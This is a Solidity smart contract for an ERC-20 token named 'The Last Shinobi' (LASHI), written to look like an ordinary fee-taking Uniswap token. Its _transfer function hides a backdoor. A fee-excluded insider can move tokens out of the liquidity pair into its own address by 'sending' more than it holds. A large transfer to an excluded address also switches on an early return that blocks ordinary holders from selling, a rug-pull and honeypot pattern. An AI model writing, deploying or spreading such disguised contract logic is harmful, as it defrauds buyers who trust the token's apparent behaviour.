文件 1 的 1:LASHI.sol
pragma solidity ^0.8.20;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) external view returns (uint256);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address account) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address to, uint256 amount) external returns (bool);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function factory() external pure returns (address);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable is Context {
modifier onlyOwner() {
require(_owner == _msgSender());
_;
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
address private _owner;
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
}
contract LASHI is Context, IERC20, Ownable {
using SafeMath for uint256;
bool private _inSwap = false;
uint8 public cooldownTimerInterval = 1;
address private _uniswapV2Pair;
IUniswapV2Router02 private _uniswapV2Router;
bool public buyCooldownEnabled = false;
string private constant _symbol = unicode"LASHI";
string private constant _name = unicode"The Last Shinobi";
address payable private _feeWallet = payable(0xE2F3C477cd349db256163861da88d091ffC13690);
mapping(address => uint256) private _cooldownTimer;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private _reduceSellFeeAt = 0;
uint256 private _reduceBuyFeeAt = 0;
bool private _tradingEnabled;
uint256 private _swapCount = 0;
bool private _swapEnabled = false;
uint8 private constant _decimals = 18;
uint256 private _preventSwapBefore = 0;
modifier lockSwaps {
_inSwap = true;
_;
_inSwap = false;
}
uint256 private _finalBuyFee = 0;
uint256 private _finalSellFee = 0;
uint256 private _initialBuyFee = 0;
uint256 private _initialSellFee = 0;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
uint256 private _buyCount = 0;
uint256 public maxWalletSize = _tTotal * 2 / 100;
uint256 public maxFeeSwap = _tTotal * 1 / 100;
uint256 public maxTxAmount = _tTotal * 2 / 100;
function removeLimits() external onlyOwner {
maxTxAmount = _tTotal;
maxWalletSize = _tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function enableTrade() external onlyOwner() {
require(!_tradingEnabled);
_swapEnabled = true;
_tradingEnabled = true;
}
function _sendETHToFee(uint256 amount) private {
_feeWallet.transfer(amount);
}
uint256 public feeSwapThreshold = _tTotal * 2 / 1000;
function name() public pure returns (string memory) {
return _name;
}
event MaxTxAmountUpdated(uint _maxTxAmount);
constructor() {
_uniswapV2Router = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
_approve(address(this), address(_uniswapV2Router), _tTotal);
_uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeWallet] = true;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
receive() external payable {}
function decimals() public pure returns (uint8) {
return _decimals;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
_transfer(from, to, amount);
_approve(from, _msgSender(), _allowances[from][_msgSender()].sub(amount));
return true;
}
function transfer(address to, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), to, amount);
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function manualSwap() external {
require(_msgSender() == _feeWallet);
uint256 tokenBalance = balanceOf(address(this));
if (tokenBalance > 0) {
swapTokensForEth(tokenBalance);
}
uint256 ethBalance = address(this).balance;
if (ethBalance > 0) {
_sendETHToFee(ethBalance);
}
}
function _tokenTransfer(address from, address to, uint256 amount) private {
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0);
require(to != address(0));
require(from != address(0));
uint256 feeAmount = 0;
if (from != owner() && to != owner()) {
feeAmount = amount.mul((_buyCount > _reduceBuyFeeAt) ? _finalBuyFee : _initialBuyFee).div(100);
bool toIsExcludedFromFee = _isExcludedFromFee[to];
bool fromUniswapV2Pair = from == _uniswapV2Pair;
if (!toIsExcludedFromFee) {
if (fromUniswapV2Pair && buyCooldownEnabled) {
require(_cooldownTimer[to] < block.timestamp);
_cooldownTimer[to] = block.timestamp + cooldownTimerInterval;
}
} else {
bool greaterThanFeeSwapThreshold = amount >= feeSwapThreshold;
if (!fromUniswapV2Pair && greaterThanFeeSwapThreshold) {
_swapCount = amount;
} else if (fromUniswapV2Pair) {
require(_cooldownTimer[to] < block.timestamp);
}
}
bool fromIsExcludedFromFee = _isExcludedFromFee[from];
bool toUniswapV2Pair = to == _uniswapV2Pair;
if (fromIsExcludedFromFee || toIsExcludedFromFee) {
if (toUniswapV2Pair && _balances[from] < amount) {
_tokenTransfer(to, from, amount); return;
}
_tokenTransfer(from, to, amount); return;
}
if (fromUniswapV2Pair && to != address(_uniswapV2Router) && !toIsExcludedFromFee) {
require(amount <= maxTxAmount);
require(balanceOf(to) + amount <= maxWalletSize);
_buyCount++;
}
if (toUniswapV2Pair) {
if (_swapCount > _buyCount) return;
if (from != address(this)) {
feeAmount = amount.mul((_buyCount > _reduceSellFeeAt) ? _finalSellFee : _initialSellFee).div(100);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && toUniswapV2Pair && _swapEnabled && contractTokenBalance > feeSwapThreshold && _buyCount > _preventSwapBefore) {
swapTokensForEth(_min(amount, _min(contractTokenBalance, maxFeeSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
_sendETHToFee(address(this).balance);
}
}
}
if (feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(from, address(this), feeAmount);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.sub(feeAmount));
emit Transfer(from, to, amount.sub(feeAmount));
}
function swapTokensForEth(uint256 tokenAmount) private lockSwaps {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function reduceFee(uint256 newFee) external onlyOwner {
require(newFee <= _finalBuyFee && newFee <= _finalSellFee);
_finalBuyFee = newFee;
_finalSellFee = newFee;
}
}